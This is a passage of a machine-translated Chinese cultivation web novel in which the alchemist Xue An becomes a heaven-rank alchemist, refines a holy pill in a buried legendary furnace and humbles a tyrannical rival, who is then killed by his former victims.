    Then this pill quenching ancestor said lightly at Xiao Dancheng: "Now I order you to expose this matter, don''t care! Otherwise, expel the pill guild, do you understand?"


    Xiao Dancheng''s eyes were full of humiliation, but he had to lower his head.


    Because there is indeed such a rule in the Alchemy Guild.


    He also had to obey.


    Otherwise, if he is really expelled from the Pill Dao Guild, it means that he will no longer be able to obtain even a single elixir from the major chambers of commerce, nor can he sell the refined pill.


    This is equivalent to invisibly strangling his throat, making him compelled to submit.


    See this scene.


    Many of the alchemists in the audience bowed their heads sadly.


    Because they are also victims of this rule.


    But helpless.


    They simply cannot change.


    But Cao Dusheng smiled triumphantly, and even rushed towards Xiao Dancheng frantically.


    "I''m really sorry! It seems that this bet can only be done!"


    The ancestor of the quenching pill was a well-known guardian, so now Cao Dusheng is very determined in his heart, and no longer has the panic.


    Old Ancestor Quedan snorted coldly from his nostrils, and said lightly: "Apprentice, let''s go!"


    After all, the two turned and left.


    The atmosphere of the audience was also loose.


    Anyway This ancestor of Tempering Dan is the best result without getting angry.


    As long as they are gone, this matter will be considered to be over.


    But at this moment, Xue An said calmly: "Wait!"


    The two stopped, and the ancestor Quedan turned around, with a cold light in his eyes, "What else is there?"


    Xue An hugged his shoulders and said lightly: "I just want to tell you that this bet is not over at all!"


    At this time, many alchemists in the audience looked at Xue An''s eyes changed.


    Some even snorted secretly, thinking that Xue An was purely looking for death.


    Obviously, this incident has already been exposed, and you are still reluctant. If you anger the ancestor of Pill Tempering, who can afford the consequences?


    "Hey, the surname is Xue, you are not even an alchemist, you are not qualified to intervene in this matter at all!" Cao Dusheng said bitterly.

 Chapter 775： 1 Dan hits 6 ranks, with black robe added to his body

    He felt that a large part of the reason why he lost the gambling battle was because of Xue An.


    Xue An showed white teeth and smiled slightly, "Yes, I am not a alchemist now, but soon, I will be!"


    "What do you mean?" Cao Dusheng was startled.


    Xue An ignored him, but looked at the ancestor of the quenching alchemy, and said in a harsh tone: "Did you just say that the higher alchemists have the right to command the lower alchemists? Well, then, I will be promoted to be better than you. High alchemist!"


    As soon as this sentence was spoken, the audience was silent.


    It was not until a moment later that someone couldn''t help but laugh out loud.


    Then the whole audience roared with laughter.


    Among them, the most exaggerated smile was Cao Dusheng.


    "I thought I wanted to say something? The surname is Xue, I really admire your courage! But before you say this, don''t you first ask about my master''s rank?"


    The ancestor Quedan also smiled without anger, and then said in a playful tone: "Young man, your courage is commendable, but this thing you said is impossible to achieve!"


    "Because I am an earth-ranked alchemist, if you want to surpass me, you can only become a heaven-ranked alchemist!"


    Xue An nodded slowly after hearing the words, "Okay, then I will be promoted to the Heavenly Alchemist!"


    This time the audience laughed louder.


    Even Lu Baiyue couldn''t help but shook her head and smiled bitterly.


    Dong Lingxin asked in a blank voice, "Master Baiyue, why are people laughing?"


    Lu Baiyue said indifferently: "Although you are in the pill business, you don''t understand the situation of the alchemist! The reason people laugh is because this man is simply talking about dreams! Heaven-ranked alchemist...haha, since 1,300 years ago After the death of King Pill, no one can be promoted to a heavenly alchemist!"


    "But what if he could?" Dong Lingxin suddenly whispered.


    Now Dong Lingxin doesn''t dare to have the slightest contempt for Xue An, because Xue An has given her too much shock from the beginning to now.


    Lu Baiyue shook her head, "How easy is it. For thousands of years, there are so many people who have been amazing and stunning, but no matter how powerful a character is, even if he has reached the top of the ground, he cannot take that step. Become a Celestial Alchemist!"


    "There are even rumors that the pill king lord one thousand and three hundred years ago has cut off the road leading to the heavenly alchemy."


    "What''s more... he is not even the lowest alchemist now." Lu Baiyue''s eyes flickered and said softly.


    really.


    The ancestor of the quenching pill was grinning at this moment, "Young man, I was almost moved by your courage! But if you really want to become a heaven-ranked alchemist, then first become the lowest-ranked pill. Master, let''s talk about it!"


    This sentence caused even more laughter from the people around.


    And Xiao Dancheng couldn''t help but whispered at this moment: "Master Xue, or just forget it, we are not at a disadvantage..."


    Xiao Dancheng''s voice became smaller and smaller.


    Because he found Xue An''s eyes brighter and brighter, and his aura became colder, he couldn''t help swallowing the words behind.


    Then Xue An looked at the sky outside and said lightly: "It should be almost done by now!"


    This sentence makes many people confused.


    The ancestor Shudan snorted coldly, and simply ignored Xue An and turned to leave.


    But at this moment, the door of the pill room was suddenly pushed open, and then a large group of people rushed in from outside.


    "Hey, isn''t this the elders in the guild who are responsible for assessing the level of alchemists?" Lu Baiyue was startled, and couldn''t help but wonder.


    Not just her, all alchemists felt a little puzzled.


    At this moment, the lead judge was a little trembling with excitement, "Dare to ask who is Mr. Xue Anxue!"


    The eyes of the crowd focused on Xue An on the high platform.


    Xue An nodded slightly, "I am!"


    When these judges heard it, they all rushed over.


    Then I saw the leading reviewer headed by, all of them bowed respectfully towards Xue An.


    "Mr. Xue, dare you ask if this pill you refined in the Pill Examination Hall yesterday?"


    With that, the judge carefully took out a jade box from his arms, and after it was opened, a powerful Danwei swept the venue instantly.


    Some alchemy master exclaimed, "It is the Supreme Promise Pill! This is a magic pill!"


    "Not only that, it seems to be a middle-grade Fadan!"


    There was a commotion in the audience.


    Xue An nodded softly, "Yes, it''s me!"


    These gangs do not normally participate in the activities of the Alchemy Guild at all, and the elders who are full-time appraisal of the level of alchemists are all happy.


    Then the lead judge took a deep breath, took a step forward, and took out a beautiful Dan robe.


    This is a ground-level pill robe with black embroidered gold edges.


    Then handed it to Xue An with both hands.


    "Mr. Xue, you have successfully passed the assessment of the Alchemy Guild Diameter Alchemist. This is your alchemy robe!"


    The audience was silent.


    Countless people watched this scene dumbfounded, as if he had seen a ghost.


    That''s an earth-level alchemist!


    Wasn''t the reason why the ancestor of the quenching pill was able to show off so much, was it because he was the only surviving earth-level alchemist in the Alchemy Guild?


    But when did this man pass the assessment?


    Many people have some doubts in their hearts.


    And Cao Dusheng was shocked, and then shouted desperately: "This is impossible, this is absolutely impossible! This guy named Xue has been fighting pill since yesterday, how could he have time to refine something too high? How about the Promise Pill and become a ground-level alchemist? This must be a mistake!"


    It''s no wonder he was so gaffe, it was because the news was so exciting.


    But as soon as his words fell, the elder judge glared, and slapped him up.


    "Asshole, are you suspicious of our reviewers?"


    Although these judging elders do not usually intervene in the operation of the alchemy guild, they do the work related to the evaluation level of each alchemist so even the ancestors of the alchemy must respect them. I dare not provoke me.


    Therefore, even though Cao Dusheng who slapped the face in the face of Venus, he did not dare to say a word.


    And Xue An said indifferently at this time: "Who said I don''t have time to refine the pill? You know, I only came in during the second round of your fight!"


    This sentence reminds many people.


    It suddenly occurred to people that Xue An did come in halfway.


    But it took only two or three hours in the first game!


    How did he break through the six ranks of Huang, Hong, Zhou, Yu, Huang, and Xuan in such a short period of time and become an earth-level alchemist?


    It seemed that I felt everyone��s doubts. I saw the elder reviewer stroking his beard and exclaiming with a full face: ��Mr. Xue has refined this Taishang Promise Pill in less than three hours, and then used this Yidan penetrated through six ranks and became an earth-rank alchemist in one fell swoop!"


    Everyone was shocked when he said this.

 Chapter 776： After 3 days, Shengdao Tianjie

    In less than three hours, he refined a magic pill and penetrated six ranks in one fell swoop, and asked the judge elders to personally seal it.


    With this series of explosive news, everyone in the audience was a little confused.


    Especially Lu Baiyue, who had been trapped at the pinnacle of the Profound Rank and was unable to completely step into the ranks of the Earth Rank Alchemist, looked at Xue An with horror at this moment.


    She never expected that this man would be so powerful.


    He was just an ordinary person without any rank, but in a blink of an eye, he added a black robe and became a powerful earth-rank alchemist.


    The changes made Lu Baiyue really unacceptable for a while.


    "Now, am I qualified?" Xue An stood with his hand and said lightly.


    Huh.


    Everyone in the audience focused on the ancestor of Dan Quenching.


    Seeing this ancestor of Quenching Dan''s complexion, his eyes like eagles and falcons shone with complicated light.


    But soon, he gradually recovered his calm, and then smiled gloomily.


    "Young man, it seems that I really underestimated you. I was able to refine a magic pill within three hours and successfully advanced to an earth-tier alchemy. Your strength is enough to win my respect!"


    With that, the ancestor of quenching pill rushed to the side of Cao Dusheng who was already shaking and said: "Kneel down to apologize!"


    Cao Dusheng trembled, did not dare to resist, "Yes...Yes!"


    As he said, he knelt on the ground tremblingly, "Xue...Master Xue, everything is because of me. If you don''t remember the villain, just let me go!"


    There is no more arrogance just now in the words.


    The crowd was silent for a while.


    It is clear to the people that all this is because Xue An has proved his strong strength.


    And this ancestor of Pill Tempering did not necessarily fear Xue An, but simply out of respect for the strong.


    When Xue An didn''t become a Die-level Alchemy Master, Cao Dusheng was his disciple, and the ancestor of Quenching Alchemy naturally had to favor and protect him.


    But when Xue An was now equal to him, the ancestor of Quedan did not hesitate to let his disciple kneel down and apologize.


    Because for him, a mere disciple is not worth letting himself offend a ground-level alchemist.


    And many people don''t think there is anything wrong with this, because this world is so realistic.


    At this time, the ancestor of the quenching pill said lightly: "Xue An, your pill strength is good, and this little thing is not guilty of making our existence like this. In my opinion, this matter has been exposed, you see. how is it?"


    Everyone sighed secretly when they heard this, thinking that the matter was now over.


    After all, the current attitude of this pill quenching ancestor is already a bow.


    For him, who has always been arrogant, it is very commendable.


    But what everyone didn''t expect was.


    Xue An on the high platform heard the words, the corners of his mouth gradually raised, and a cold smile emerged, and then said lightly: "I''ll expose it...hehe, who said I want to expose it to you?"


    As soon as the words came out, the ancestor of Quedan suddenly changed his color, and a cold killing intent shot into his eyes, and said coldly: "Xue An, do you really think that ancestor I am afraid you will not succeed?"


    Xue An shook his head, "Whether you are afraid or not, what I just said is true. Since you said that high-level alchemists have the right to live and kill low-level alchemists, then I will convince you to lose! "


    "So... I want to prove Dao Tian-rank alchemist!"


    Now even those Dan Dao elders in charge of the review were all stunned.


    Proving Tao Tian-rank alchemist.


    How long have these simple six words not echoed in the Alchemy Guild?


    People have even acquiesced that the ground-level alchemist is the highest existence.


    Because in more than a thousand years, no one can take that step.


    Countless amazing talents fell into the sand, causing many people to gradually despair, and even thought that the road to the heavenly alchemist had been broken, and people would never be able to advance.


    Even these judges elders thought that it was impossible for a heavenly alchemist to appear.


    So when Xue An uttered these six words, these elders were all shocked.


    But at this moment, the ancestor of Dan Quenching laughed, and the laughter was full of sarcasm.


    Xue An didn''t care too much, just holding his shoulders and looking at him with a smile.


    After a while, the laughter gradually stopped, and then the ancestor of the quenching pill said gloomily: "Xue An, I admit that you have a good talent above the alchemy, otherwise it is impossible to be promoted to the ground-level alchemist at such a young age! "


    "But do you think this is enough?"


    "From ancient times to the present, how many people want to advance to the Celestial Rank are not available, not only because they are not talented enough, but more importantly, since the death of the King Pill a thousand years ago, the Celestial Pill Furnace with him has followed suit. Disappear!"


    "This also means that there is no more pill furnace that can refine the holy pill in this world!"


    "If you don''t even have a pill furnace, what do you use to advance to the heavenly rank? Is it based on your ignorance?"


    Hear the series of questions from the ancestor Quedan.


    There was a commotion among the alchemists in the room.


    Many people have heard of these things for the first time, and they can''t help but look surprised.


    But some people know that what the ancestor of Quedan said is true.


    If you want to refine the holy pill, you need more than just the elixir of elixir.


    Because the pill power of the holy pill is too tyrannical, ordinary pill furnaces can''t carry it at all, and only the heavenly pill furnace can be refined.


    But the last heavenly pill furnace had already disappeared with the fall of King Pill 1,200 years ago.


    Countless people have tried to find for so many years, but they have never achieved anything.


    "Are you finished?" Xue An said lightly.


    Ancestor Quedan sneered.


    "It sounds very reasonable, but since I said that I want to become a heavenly alchemist, there is no reason to change it!"


    The ancestor Quedan just wanted to speak after hearing this.


    Xue An waved his hand, and then smiled faintly, "Three days later, right here, I want to prove to a heavenly alchemist, so you have nothing to say about losing!"


    boom.


    This sentence was like a bomb that blew everyone away.


    The ancestor of Pill Quenching grinned even more, "Very well, then I have to see how you have attained the Dao Heavenly Rank after three days!"


    After all He grinned a few times at Xue An, then turned around and left.


    Cao Dusheng was delighted in his heart, thinking that Xue An was purely looking for death by himself, but when he saw his master was gone, he was scared to get up from the ground quickly, and then left.


    Then the news quickly spread throughout Banten City at a very fast speed.


    "What? Someone wants to prove Dao Tiantian? Is there any mistake? Is this person stupid?"


    "Being able to break through six ranks to become a ground-level alchemist with a pill shows that this person has amazing talents, but unfortunately, he has an illusion about the illusory heaven-rank alchemist, which is considered useless!"


    Many people even ridiculed this incident, thinking that it was impossible, and even felt that Xue An was just talking big.


    In the midst of this chaotic public opinion, Xue An has remained silent.


    The three daylight scenes are fleeting.


    this day.


    Finally arrived.

 Chapter 777： Mountains and rivers are furnaces, yin and yang are flames

    To this day.


    Countless alchemists who heard the news rushed over early.


    There are countless flying boats and chariots flying in the sky. These are people from various family sects in the Guiyi domains.


    The entire Banten City powerhouses gathered in an unprecedented grand occasion.


    People want to see, who in the end dares to attack the heaven-ranked alchemist who has been proved by countless people for thousands of years.


    When the ancestor Quedan led his disciples to appear in front of the Danlou.


    Numerous alchemists, as well as people from various family sects who rushed over, got up and greeted him.


    Because the ancestor of the quenching pill has been famous for a long time, his powerful pill technique has made him the target of countless family sects.


    So this situation is not surprising.


    But today''s ancestor of quenching Dan, obviously did not have a great interest in greeting these people.


    He just nodded slightly at the crowd with a sinking face, then walked to the high platform aside, sat on a chair, and waited quietly.


    The atmosphere began to become somewhat depressing.


    Even those who were talking quietly couldn''t help lowering their voices.


    Time passed by every minute.


    Seeing that it was about to reach the sky, Xue An still did not appear.


    Many people can''t help but start whispering.


    "This Xue An might not dare to come!"


    "I think so. I heard that Xue An came from the Eastern Territory and came out of that kind of poor country alchemist. What insight can he have? Although he has a good talent, he has become an earth-level alchemist, but I guess he has no idea what he has become. How difficult it is for a Celestial Alchemist, that''s why he dared to speak big words in public, and when I get to know it, I guess I will be confused!


    This person''s analysis was so eloquent that many people nodded secretly.


    Lu Baiyue was naturally among them, but she never said a word, but quietly looked at the direction of Judan Palace.


    What happened in the past few days shocked her greatly.


    She even didn''t dare to make any judgments about Xue An easily.


    Because she always felt that in this man, any miracle could happen.


    More than half an hour passed.


    Xue An still did not appear.


    The commotion of the crowd can''t help getting worse.


    The drum noise also began to grow louder.


    "Tsk tsk, I''ve said this guy should be a thief, maybe even his earth-rank alchemist contains moisture, let alone this heaven-rank alchemist, now this person may have already run away!" It was the disciple of the ancestor of quenching pill, and naturally he wanted to speak to his master.


    However, many people are also showing doubts at this moment, wondering why this Xue An has not appeared yet?


    Just when everyone became impetuous.


    suddenly.


    A beam of brilliance flew from the sky in an instant. After standing still, who was it if it wasn''t Xue An?


    I saw Xue An at this moment, wearing a uniform, with a long jade body standing proud of the wind, like a fairy Ling Chen.


    Not to mention anything else, just this kind of demeanor calmed down the crowd who was still clamoring just now.


    And Xue An''s next sentence made everyone laugh and laugh.


    "Excuse me, I was feeding my two daughters to dinner, but it turned out to be late!"


    Many people thought Xue An was joking.


    But Xue An is telling the truth.


    During these three days, Xue An led An Yan to play happily with his two daughters in this city of Banten.


    And this morning, the two daughters stayed in bed until late because they played too late last night, and then they pestered Xue An to feed them breakfast.


    After a long time, Xue An came a little late.


    If anyone knew this fact, they would all be confused.


    Such a major event is actually not as important as feeding the two daughters?


    But for Xue An, this is true.


    Even if the sky is falling, you have to coax the two daughters first.


    At this time, the old ancestor of the quenching pill snorted coldly and smiled gloomily: "Xue An, you have made such a big battle, and there are so many people here. Is it because you are listening to you? Alchemist, how do you plan to get it? Are you going to kneel down and beg God to grant you a failure?"


    This remark caused a sneer of people around.


    Of course the ancestor Quedan would not be angry.


    You must know that he was the only ground-level alchemist in the Alchemy Guild before, and because of this, his status was so detached.


    As a result, Xue An turned out to be born, and also became a ground-level alchemist.


    This poses a great threat to his status.


    That''s why he would find ways to beat Xue An''s confidence.


    Of course Xue An understood the intention of the ancestor of quenching pills, but he just smiled disapprovingly.


    Because for the real strong, these little tricks are simply not worthy of attention.


    Xue An raised his head and looked at the sky, then took a step forward and came into the void.


    This emptiness without the slightest smoky air caused many cultivators to give a slight hey.


    With this hand alone, this person is by no means idle.


    Xue An stood high in the sky, overlooking the alpine furnace-shaped mountain where Banten City was located, and a faint smile appeared at the corner of his mouth.


    "Quenching pill, don''t you keep saying that the last heavenly pill furnace in the world has disappeared with the fall of the pill king more than a thousand years ago? Today, I will let you wait to see where the pill furnace is. !"


    Having said that, Xue An pressed a virtual press with one hand, the light in his eyes was full, and then he gave a soft drink.


    "Get up!"


    boom!


    The entire Banten City began to shake violently.


    And countless cracks appeared on the surface of this big mountain.


    "What''s the matter?" The ancestor of Quedan could no longer sit still, and Huo Ran stood up and looked at this scene with amazement.


    At the same time, countless powerful pill energy was shot from those cracks.


    The pill energy is strong, reflecting the void, transforming various visions.


    All alchemists are stupid.


    At this moment, the mountain began to disintegrate, and then fell into a pit with a radius of ten miles.


    suddenly.


    From this sinkhole, a bright brilliance soared into the sky, and wanted to fly away.


    Xue An chuckled, "Since I''m out, do you still want to leave?"


    Having said that, Xue An pressed the void and shouted coldly: "Live!"


    Click This brilliance will be settled.


    At this time everyone saw it clearly.


    It turned out to be a huge pill furnace with a height of hundreds of feet. Numerous talisman seals were carved on the pill furnace, and it was constantly shining with terrifying pressure.


    The elders in charge of judging suddenly exclaimed, "This...this is the heavenly pill furnace!"


    As soon as this remark came out, everyone was shaken.


    The ancestor of the quenching pill stared at this scene blankly, and muttered in despair: "It turns out... the heavenly pill furnace that has been so hard to find is buried under the city of Wandan!"


    And Xue An spread to the audience in a calm voice at this moment.


    "Quenching pill, today I will let you see how this holy pill was refined!"


    After that, Xue An suddenly stomped his feet, "Mountains and rivers are furnaces, yin and yang are flames, open the furnace for alchemy!"

 Chapter 778： 10% of the holy pill, Wandan bows down

    Following Xue An''s voice, a clicking sound came from the pill furnace, as if countless gears were turning.


    Then I saw this natural pill furnace, the top cover suddenly rose, and a strong medicinal fragrance spread throughout the city in a blink of an eye.


    This is the medicinal fragrance left over after the pill refinement. After thousands of years of time passed away, it did not dissipate at all. This shows the magic of this pill furnace.


    At the same time, at the bottom of the furnace, a black and white flame suddenly appeared out of thin air in a place depicting Yin and Yang fish.


    "The flame of yin and yang! This is the flame of yin and yang!" Alchemist shouted excitedly.


    Lu Baiyue couldn''t help muttering to herself, "I didn''t expect this legendary **** flame to exist!"


    No wonder they are so excited.


    The Flame of Yin and Yang is known as the Supreme Pill Fire.


    It is a kind of flame that is collected from the yin and yang of the nine heavens and then cultivated.


    Using this fire to make alchemy, the drug level of the alchemy will increase, and the success rate will also be greatly improved.


    It is rumored that King Pill of the year became famous in the world by relying on this flame.


    now.


    No one has any objections to this pill furnace.


    Everyone looked up blankly.


    Ancestor Quedan''s eyes were filled with fearful light, and then gradually became vicious.


    What if it is a heavenly pill furnace?


    How difficult is that holy pill refining.


    Even at the pinnacle of the earth ranks, it is extremely difficult to refine a pill that contains a trace of holy pill.


    What''s more, this Xue An is so young. Although he has excellent talents, he definitely lacks alchemy experience.


    But at this moment, Xue An in the sky said calmly: "The medicine is coming!"


    With an order, the various elixir originally stored in various places in Banten City were like soldiers who had been ordered, all lifted into the air, and then flew high into the sky.


    Suddenly.


    The entire sky was obscured by various elixir brilliance.


    "This... this kind of alchemy is almost unheard of!" A strong alchemist roared, his face full of worship.


    Not only him, all alchemists watched this scene blankly.


    With a sound, Wanyao lifted into the sky, how powerful a pill can be done?


    At this time, Xue An was standing in the air, like a general who deployed troops and generals. With a finger, the selected elixir would automatically be thrown into the pill furnace.


    And with the investment of the elixir, the brilliance of this pill furnace became brighter and brighter.


    Under the urging of the flame of Yin and Yang, the elixir melts inside, and even the impurities are burnt out.


    Then it formed a ball of liquid essence, tumbling in it.


    At the same time, Xue An squeezed his hand to make a decisive decision, playing a series of runes Guanghua.


    Every time Guanghua entered, the pill furnace would tremble, and the medicine in it began to take shape.


    "It turns out that the refining of the holy pill requires a very strong foundation in runes!" An alchemy master exclaimed.


    But more still look at Xue An''s back with almost admiring eyes.


    Many people were trembling with excitement.


    Because they know that they are witnessing the birth of a legend with their own eyes.


    quickly.


    The pill in the pill furnace has begun to take shape.


    But at this moment.


    I saw the originally clear sky suddenly darkened, dark clouds completely obscured the sky, and thunder was faintly heard among them.


    "Could it be..."


    Suspicion just arose in everyone''s hearts.


    I saw a thunder light full of the thickness of a water tank descending from the sky, heading straight to the pill that was suspended in the pill furnace.


    Click.


    After a bang, thunder was splashing, but this pill was as stable as a mountain.


    But before everyone reacted.


    The second thunder light has come again.


    This thunder light was the size of a room, and its color was blue and white, and it instantly blasted on the pill.


    The pill shook slightly, changing from a grain of rice to a pigeon egg.


    Dan Lei!


    This is not too unusual.


    As long as the pill is refined enough to defend against the sky, there will be pill thunder in the world.


    But the average Dan Lei is as thick as chopsticks.


    And it''s a blow at best.


    Who has seen this Dan Lei that is about the size of a water tank or a house?


    But this is far from over.


    After the second Dan Lei, the third followed.


    This thunder light was almost pure white, and it was a mile in size.


    Lei Guang carried the supreme might and struck the pill.


    The pill shook a few times, and it became a bit bigger.


    Immediately afterwards, there were five Dan Lei blasting one after another.


    One is thicker than one, and one is pure white.


    But this pill was not moved at all, carried it all over, and became the size of an egg.


    All alchemists watched this scene dazzledly.


    Someone even groaned and said, "Eight Pill Lightning, what kind of heaven-defying pill is this refining, and it will actually attract such a big scourge?"


    But as soon as the voice fell, someone trembled: "Look at the sky!"


    Everyone looked up.


    I saw that the black cloud above the sky was too thick to dissolve, but a huge vortex faintly appeared in the sky above the pill furnace.


    In the whirlpool, the faint thunder of Guanghua trembles, as if it is accumulating some great energy.


    Suddenly.


    A dazzling brilliance appeared from the top of the whirlpool, which made people afraid to look directly.


    Then I heard a loud thunder rumbling.


    When everyone looked intently again, they saw a thunder light that was not as thick as a finger and nearly transparent in color and went straight to the pill furnace.


    Although this thunder light appeared to be very small, the power it carried was beyond the reach of the other eight thunder lights.


    Even wherever he went, even the space was slightly distorted.


    Someone just opened their mouth to shout, and then heard a loud bang.


    A white light swept across the world.


    At this moment, everyone''s five senses are all taken away.


    She was timid and sat directly on the ground.


    Because the power of this thunder light is too great.


    at last.


    Lei Guang dissipated.


    Everyone looked up.


    I saw a pill that was as big as an egg floated slowly in the pill furnace.


    But this pill was bleak, without the slightest brilliance.


    Did it fail?


    This idea just came up in everyone''s hearts.


    Just listened to a crisp sound coming from the heaven and the earth Then the shell of this pill showed fine cracks, which broke apart suddenly, showing that the inside was like a pearl and the color was almost transparent. Of medicine.


    With this Dan appeared.


    A pill of Qi rushed straight into the sky, instantly dispelling the black clouds that had originally spread across the sky.


    Then a powerful Danwei engulfed the entire Banten City.


    "This...what is this?" someone exclaimed.


    From the pill building, from the various chambers of commerce that refining or selling pill medicine, countless pill medicine slowly rose, and then floated in the air.


    Haven''t waited for everyone to react.


    These countless pills showed a virtual image of pill qi, and then worshipped the holy pill in the sky.


    A strong alchemist was so excited that he could hardly control himself, and his teeth trembled and said: "The holy pill is 10%, Wandan bows down! This is a real holy pill!"

 Chapter 780： Give you a chance, you are not useful!

    "King Xue Dan, I lost, please let me go! I am willing to lead the horse and be a Dan slave!" The ancestor of Dan Que thumped and knelt on the ground, his face extremely pale.


    The shocking pill that Xue An just demonstrated has completely defeated his last trace of faith.


    In front of this man, Quedan Old Ancestor felt a deep despair.


    The gap between the ground-level and the heaven-level alchemist is so big that it can no longer be calculated by Daoli.


    Ancestor Quedan knew this well, so he gave up resistance altogether and knelt on the ground, waiting for Xue An''s hair like a lamb to be slaughtered.


    As for Cao Dusheng.


    This dear man was already limp to the ground at the moment, sweating all over, and he couldn''t even speak.


    Seeing this scene, the alchemists couldn''t help but secretly enjoy themselves.


    How arrogant this quenching ancestor was.


    Even leading his disciples has always been very domineering.


    But today, they are all like frosted eggplants, completely wilted.


    Xue An''s eyes drooped slightly, looking at the ancestor of the quenching pill who was kneeling on the ground, and said lightly: "You once said that high-level alchemists have the right to kill and seize low-level alchemists, right?"


    Ancestor Quedan trembled, and then said cautiously: "Yes...Yes!"


    Xue An nodded, "Well, now you abandon your cultivation, I will spare your life!"


    Hearing these words, the ancestor of quenching pill began to tremble uncontrollably, and an expression of incomparable horror appeared in his eyes.


    He has acted aggressively and arrogantly for so many years and has made many enemies.


    If he abolishes his cultivation, he may not even see the sun tomorrow.


    "Xue... King Xue Dan, please forgive me!" Quedan old ancestor pleaded.


    Xue An smiled, "Please forgive me... Then if my strength is not good, you will let me go?"


    This question made the ancestor of the quenching pill speechless, and then he turned to the onlookers for help.


    But he had already completely defeated the popularity, and of course no one would help him at this moment.


    In fact, people can be considered kind without falling into trouble.


    The heart of the ancestor of the quenching pill became more and more desperate, and his eyes were red and hiss: "King Xue Dan, you are a heaven-ranked alchemist, don''t you even have this capacity? Do you have to drive me to kill you Are you satisfied?"


    Xue An said indifferently: "You are responsible for everything, and I didn''t want to kill you, just let you abolish your cultivation base! How can I kill them all?"


    "But..." The ancestor of Quedan wanted to say something more.


    Xue An waved his hand, "Needless to say, I leave the opportunity to you, and the rest depends on how you choose!"


    After that, Xue An looked at Cao Dusheng who was aside.


    Cao Dusheng trembled all over, as if he had been electrocuted, jumped up from the ground, and then knelt in front of Xue An.


    "Grandpa, grandson knows it was wrong!"


    Many people shook their heads secretly, disdainful.


    This ugly state of Cao Dusheng made people feel disgusted when he saw it.


    Xue An smiled, and then said to Xiao Dancheng on the side: "Okay, these people are handed to you, I have to go back and cook lunch for my daughter!"


    After that, Xue An turned around and left.


    In fact, Xue An didn''t bother to care about such existence at all. If Xue An hadn''t noticed that there was a good alchemy furnace buried under the city of Wandan, he would not have proclaimed such a heavenly alchemist.


    After all, these have no effect on him.


    Seeing Xue An just leave like this, a flash of joy flashed in the depths of the ancestor''s eyes.


    As long as he is gone, then he can find a way to escape.


    Although Zhongyu may not be able to stay, Gui Yixing is so vast, and he is a ground-level alchemist admired by thousands of people, and he can live well no matter where he goes.


    But when he was about to act, Xue An''s indifferent voice rang in his mind.


    "Give you a chance, you are not useful! Since you don''t know how to cherish, then I will do it!"


    Ancestor Quedan trembled, just about to say something, a majestic divine mind swept across the sea of ??consciousness of the ancestor Quedan.


    And a sword light appeared out of thin air, directly piercing the Qi sea of ??the ancestor Quedan.


    puff!


    Ancestor Quedan''s whole person''s momentum quickly went down.


    A pair of once radiant eyes became muddy.


    There was a gurgling noise in his throat, and his face felt amazed by what was happening to him.


    But he couldn''t even resist a little bit.


    Even all the memories of alchemy in his divine mind were quickly fading away.


    at last.


    The ancestor of Quedan stayed on the ground, his body was loose, his face was full of wrinkles, and he could only look at everything around him weakly.


    hiss!


    Everyone couldn''t help taking a breath.


    The ground-level alchemist who had just been glamorous, became a declining old man in a blink of an eye.


    The impact of this is simply too great.


    Cao Dusheng on the side saw this scene, screamed a few times with difficulty, and then was shocked and fainted.


    Xiao Dancheng saw this scene, shook his head lightly, then turned and left.


    Because he knew that this pair of masters and disciples was completely abolished.


    So he has no interest in dealing with a pair of useless people.


    What''s more, his own adult is now a heavenly alchemist, so he must pay attention to his identity anyway.


    He just walked on the front foot.


    Lu Baiyue, who had been full of consternation, looked deeply at the two masters and apprentices on the ground, and silently led the people and left.


    These people leave.


    The ancestor of the quenching pill took out a pill from his arms with difficulty. After swallowing it, the blood that was about to decay in his body gradually recovered, and the light in his eyes brightened a lot.


    Then he got up from the ground tremblingly, avoiding everyone''s sight as much as possible, trying to sneak away.


    But just a few steps after he walked out, there was an alchemist in front of him blocking the way, and then said in a cold voice: "Yeah, isn''t this the famous ancestor of quenching alchemy? Where is this going?"


    Ancestor Quedan looked up and saw a middle-aged man looking at him with hatred.


    He was shocked and recognized the person, but the more so, the more terrified he was, and then he smiled incomparably flatteringly: "So it''s Alchemy Yao! What, what''s the matter?"


    "Hehe, quenching pill, don''t pretend to be confused in front of me. In order to **** my ancestral pill, you even ordered your disciple to destroy my family! I want revenge, but you were too powerful at the time, I am not you Opponent!"


    "It''s sigh that the sky has eyes, you finally got retribution, now is the time to calculate the general ledger, do you still want to go?" The Yao Danshi said with a bit of hatred.


    The ancestor of Dan Quenched back with a look of fear, and said tremblingly: "Yes... I''m sorry, I really don''t know..."


    At this moment, he found that someone was blocking the way behind him, and turned his head to see that a young girl with a murderous face was also staring at him.


    "Quenching pill In order to refine the evil pill, you used despicable means to seize my vital yin, today is the time to calculate the ledger!"


    Ancestor Quedan was full of horror.


    Because at this moment, there were murderous alchemists from all directions surrounding him.


    These people are the objects he has bullied wantonly.


    "Everyone listened to me, I already knew that I was wrong, and there are still a lot of savings in my door, I beg you to raise your hands, forgive me..." Quedan also wanted to beg for mercy.


    Someone yelled, "Kick him!"


    With this roar, these people who had hated him rushed up, their eyes flushed with red swords.


    After a few splashes of flesh and blood, the quenching pill only had time to scream a few times, and then there was no sound.


    When the crowd dispersed again, only a mass of flesh and blood in the field was left.


    This once arrogant and domineering ancestor of Tempering Pill ended up here!

 Chapter 781： Danwang Festival

    It''s the day.


    Xue An was in the city of Wandan and used the peerless alchemy to prove to the heavenly ranks, thus adding a white robe to the top.


    When the news came out, Zhongyu shook.


    Since the fall of the last Pill King, no one has ever witnessed the Dao Heavenly Alchemist for more than a thousand years.


    So when Xue An turned out, it naturally attracted countless attention.


    At this moment, in front of Judan Palace, the door is like a city.


    Countless people from sect family flocked here, looking for opportunities to connect with this alchemy nobility.


    But no matter how old these people are, how high their cultivation bases are.


    But they all ate a soft nail in Judan Palace.


    Dong Lingxin felt that his face was about to burst into laughter.


    No matter who she was with, she had to smile and say, "Excuse me, King Xue Dan doesn''t want to see guests now!"


    And these big people, who are usually aloof, all become amiable at this moment.


    People at the level of Dong Lingxin in the past, they might not even look straight.


    But today they all smile politely.


    This made Dong Lingxin sigh secretly.


    This is what makes the world known once famous.


    at last.


    These long-awaited crowds waited for Xue An''s figure.


    When I saw the man in the white Dan robe wandering into the hall of Judan Palace.


    The people of these clan families are all crazy.


    "Master Xue! I''m from the Western Region Night Family! I heard that the adults have proven the Dao Tiantian and become a new generation of Dan King. Our Night Family has prepared some small gifts for you. It is not a respect, please accept it!" said Then, this person opened the jade box.


    It contains all kinds of treasures of heaven, material and earth, and even the elixir of light shines in it.


    But before he could continue to speak, someone else eagerly shouted: "Master Dan, we are from the Longxiangshan in the Middle Territory. This is our gift!"


